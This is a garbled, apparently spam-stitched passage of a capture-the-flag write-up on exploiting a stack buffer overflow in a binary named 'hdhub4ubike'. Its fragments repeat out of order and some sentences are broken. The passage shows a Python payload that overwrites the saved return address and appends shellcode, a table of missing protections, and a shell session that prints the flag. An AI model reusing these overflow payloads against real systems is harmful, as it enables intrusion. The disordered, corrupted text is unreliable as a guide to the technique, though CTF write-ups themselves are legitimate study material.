Hdhub4ubike __link__ -

Therefore we want our to be 0x004011a6 . 3.2 Crafting the payload The stack layout (simplified) at the moment of the overflow:

payload = b'A'*64 + b'B'*8 + struct.pack("<Q", 0x7fffffffe000) # address of our buffer (approx) payload = payload.ljust(0x100, b'\x90') + shellcode Running the payload spawns an interactive shell on the remote target. | Topic | What we observed in hdhub4ubike | |---------------------------|-----------------------------------| | Stack overflow | read with a length far larger than the buffer → classic overflow vector. | | Non‑PIE binaries | Fixed addresses make ROP/simple return‑to‑code trivial. | | NX disabled | Allows injection of raw shellcode on the stack. | | No canary / RELRO | Nothing blocks overwriting the saved RIP. | | Info leakage | The flag was embedded in the binary – a “cheat” that encourages bypassing logic checks. | | Best exploitation path | Return‑to‑existing puts that already has the flag address set → shortest payload, no need for ROP chain or shellcode. | 6️⃣ Full Exploit Script (Python 3) #!/usr/bin/env python3 import struct, pexpect, sys hdhub4ubike

$ ./exploit.py === Welcome to the HD Bike Hub === Enter your hub key: flagh0p3_y0u_f0und_th3_h1d3_b1k3 flagh0p3_y0u_f0und_th3_h1d3_b1k3 Congratulations – you’ve successfully bypassed the hub‑key check and recovered the flag from hdhub4ubike ! 🎉 Therefore we want our to be 0x004011a6

puts(flag); return 0;

Challenge name: hdhub4ubike CTF: 2023 – BicycleCTF (the “Bike‑Hub” event) Category: Pwn / Binary Exploitation Points: 400 (medium) Author: unknown 1️⃣ Challenge Overview The provided artifact is a 64‑bit ELF executable named hdhub4ubike . When executed it prints a short banner and then prompts the user for a “bike‑hub key”. If the key is correct, the program prints the flag; otherwise it terminates with “Invalid key!” . | | Non‑PIE binaries | Fixed addresses make

=== Welcome to the HD Bike Hub === Enter your hub key: flagh0p3_y0u_f0und_th3_h1d3_b1k3 Success! The flag is printed without ever passing the check_key test. If you prefer a “classic” shellcode approach, you can place a /bin/sh payload on the stack and return to it.